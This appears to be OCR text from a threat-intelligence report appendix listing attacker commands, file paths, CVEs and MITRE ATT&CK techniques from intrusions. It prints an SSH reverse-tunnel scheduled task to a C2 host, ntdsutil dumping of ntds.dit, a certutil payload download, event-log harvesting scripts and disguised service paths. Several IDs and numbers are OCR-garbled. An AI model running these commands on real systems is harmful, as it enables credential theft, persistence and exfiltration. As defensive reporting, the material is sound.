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https://lolbas-project.github.io/

/Program Files/<VulnerableApp>/root/WEB-INF/lib/log4j-1.2.17 jar

Net user <username> <new_password>

C:\Users\<username>\Documents\netscanold.exe
C:\Users\<username>\Documents\mimikatz\xé64\mimikatz.exe

Svc: ghhjbl | Path: cmd.exe /c echo ghhjbl > \\\\pipe\ghhjbl
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https://www.microsoft.com/en-us/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/

C:\Program Files\ehorus_agent\ehorus_uit.exe
C:\Program Files\ehorus_agent\ehorus_cmd.exe
C:\Program Files\ehorus_agent\ehorus_launcher.exe

Copy the file to the public folder:
copy $system32\winevt\Logs\Security.evtx $public\Security.evtx

Compress the copied file and prepare it to move to a pivot system:

Add-Type -A System.lO.Compression.FileSystem;;$zipFile = [System.|O.Compression.ZipFile]::Open('c:\users\public\
Security.zip', 'Update');,[System.lO.Compression.ZipFileExtensions]::CreateEntryFromFile($zipfile,'c:\users\public\
Security.evtx',Security.evtx');$zipFile.Dispose()

Script to extract valid usernames from the evtx logs:
Get-Eventlog -LogName Security | where {$.eventID -eq 4624 } | % {$.ReplacementStrings[6] + ;" +

$.ReplacementStrings[5] + ";" + $.ReplacementStrings[11]} | Export-csv guli_<Local_server>.csv -encoding utf8

Get-WinEvent -Path C:\users\public\Security_<server1>.evtx | where {$.ID -eq 4624 } | Select -Property @{N='Domain’;
E={$.Properties[6].value}},@{N="User"; E={$.Properties[5].value}},@{N="IP'; E={$.Properties[18].value}} | Export-csv C:\
users\public\guli_<serverl1>.csv -encoding utf8
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Identifying internet access:
ping <remote_IP>
ping <second_remote_IP>

Get the public SSH host keys for the C2 system:
ssh-keyscan -p 443 <remotelP>

Configure local ssh keys and grant permissions:
ssh-keygen -f <path>/.ssh/id_rsa -t rsa -N "<passphrase>"
icacls <path>/.ssh/id_rsa /inheritance:r

icacls <path>/.ssh/id_rsa /grantrr "%username%":"(R)
icacls <path>/.ssh/sshd_config /inheritance:r

icacls <path>/.ssh/sshd_config /grantrr "%username%":"(R)

Configure tasks to be executed every minute “SSH Server” and “SSH Key Exchange” configuring an Reverse Tunneling:
schtasks.exe /create /sc minute /mo 1 /tn "SSH Server" /rl highest /np /tr "<path>\sshd\sshd.exe -f <path>/.ssh/sshd_
config"

schtasks.exe /create /sc minute /mo 1 /tn "SSH Key Exchange" /rl highest /np /tr <path>\sshd\ssh.exe -i <path>\.ssh\
id_rsa -N -R 22443:127.0.0.1:2222 -o StrictHostKeyChecking=no -o ServerAlivelnterval=60 -o ServerAliveCountMax=15
root@<remotelP> -p 443

cmd /c ntdsutil "ac i ntds" ifm "create full c:\PerfLogs\test" q q c:\windows\sysvol\domain\ntds\active directory\ntds.dit"

certutil.exe -urlcache -split -f http://<edited>/conhost.exe
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https://man.openbsd.org/ssh-keyscan.1

HKLM\SYSTEM\ControlSet001\Services\Windos_update
"C:\windows\temp\Crashpad\conhost.exe" /service

C:\windows\temp\Crashpad\conhost.exe
File Description: SoftEther VPN
Original filename: vpnbridge.exe

Registry key: HKLM\SYSTEM\ControlSetOO1\Services\WorkService

ImagePath: "C:\Windows\TAPI\dllhost.exe" --config "C:\Windows\TAPI\wshelper.dIl"
Original filename: zabbix_agentd.exe

Company: Zabbix SIA

16



CVE-2023-38408

CVE-2017-0144

CVE-2022-27228

CVE-2023-27532

CVE-2021-27065

CVE-2021-26855

17



CVE-2017-0143

CVE-2023-22640

CVE-2022-42469

CVE-2023-25610

CVE-2021-4104

CVE-2022-21587

CVE-2022-37969

18



T1595.002: Active Scanning: Vulnerability
Scanning

T1595: Active Scanning
T1590: Gather Victim Network Information

T1595.001: Active Scanning: Scanning IP
Blocks

T1587.001: Develop Capabilities: Malware

T1586.003: Compromise Accounts: Cloud
Accounts

T1587.004: Develop Capabilities: Exploits

TN90: Exploit Public-Facing Application

T1078.002: Valid Accounts: Domain
Accounts

T1133: External Remote Services
T1078.003: Valid Accounts: Local Accounts
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T199: Trusted Relationship

T1569.002: System Services: Service
Execution

T1059.001: Command and Scripting
Interpreter: PowerShell

T1059.003: Command and Scripting
Interpreter: Windows Command Shell

T1204.002: User Execution: Malicious File

T1047: Windows Management
Instrumentation

T1203: Exploitation for Client Execution
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1.36%
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4.08%
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T1059.005: Command and Scripting
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T1059.004: Command and Scripting
Interpreter: Unix Shell

T1053.003: Scheduled Task/Job: Cron
T1106: Native API

T1569: System Services

T1078.002: Valid Accounts: Domain
Accounts
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Process: Windows Service

T1505.003: Server Software Component:
Web Shell

T1136.001: Create Account: Local Account

T1547.001: Boot or Logon Autostart
Execution: Registry Run Keys / Startup
Folder

T1053.005: Scheduled Task/Job: Scheduled
Task

T1136: Create Account

T1133: External Remote Services

T1136.002: Create Account: Domain Account
T1078.003: Valid Accounts: Local Accounts

T1574.002: Hijack Execution Flow: DLL Side-
Loading
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2.04%
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T1078.002: Valid Accounts: Domain
Accounts

T1070.004: Indicator Removal: File Deletion

T1562.001: Impair Defenses: Disable or
Modify Tools

T1070.001: Indicator Removal: Clear Windows
Event Logs

T1036.005: Masquerading: Match Legitimate
Name or Location

T1027.002: Obfuscated Files or Information:
Software Packing

T140: Deobfuscate/Decode Files or
Information

T1036.004: Masquerading: Masquerade Task
or Service

T1027: Obfuscated Files or Information

T1078.002: Valid Accounts: Domain
Accounts

T1562: Impair Defenses

T1070.003: Indicator Removal: Clear
Command History

T1574.002: Hijack Execution Flow: DLL Side-
Loading

T1562.002: Impair Defenses: Disable
Windows Event Logging

T1562.003: Impair Defenses: Impair
Command History Logging

T1078: Valid Accounts
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T1197:BITS Jobs

T112: Modify Registry

T1003.001: OS Credential Dumping: LSASS
Memory

TIMO: Brute Force
T1003: OS Credential Dumping
T1110.003: Brute Force: Password Spraying

T1003.002: OS Credential Dumping: Security
Account Manager

T1552: Unsecured Credentials
T1110.001: Brute Force: Password Guessing

T1558.001: Steal or Forge Kerberos Tickets:
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1.36%

1.36%

8.16%

3.40%

272%
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T1083: File and Directory Discovery
T1046: Network Service Discovery
T1082: System Information Discovery
T135: Network Share Discovery
T1018: Remote System Discovery
T1033: System Owner/User Discovery

T1087.002: Account Discovery: Domain
Account

T1057: Process Discovery

T1016: System Network Configuration
Discovery

T1069.002: Permission Groups Discovery:
Domain Groups

T1518.001: Software Discovery: Security
Software Discovery

T1007: System Service Discovery

T1021.001: Remote Services: Remote
Desktop Protocol

T1021: Remote Services

T1021.002: Remote Services: SMB/Windows
Admin Shares

T1021.004: Remote Services: SSH
T1570: Lateral Tool Transfer

T1072: Software Deployment Tools

T1005: Data from Local System

T1560.001: Archive Collected Data: Archive
via Utility

TIM9: Automated Collection
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5.44%
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6.12%
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T1572: Protocol Tunneling
T1219: Remote Access Software
T105: Ingress Tool Transfer

T1071.001: Application Layer Protocol: Web
Protocols

T1571: Non-Standard Port

T1132.001: Data Encoding: Standard
Encoding

T1095: Non-Application Layer Protocol

T1567: Exfiltration Over Web Service

T1041: Exfiltration Over C2 Channel

T1486: Data Encrypted for Impact
T1485: Data Destruction
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T1565.001: Data Manipulation: Stored Data
Manipulation

T1491.002: Defacement: External
Defacement
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4.08%

272%

272%
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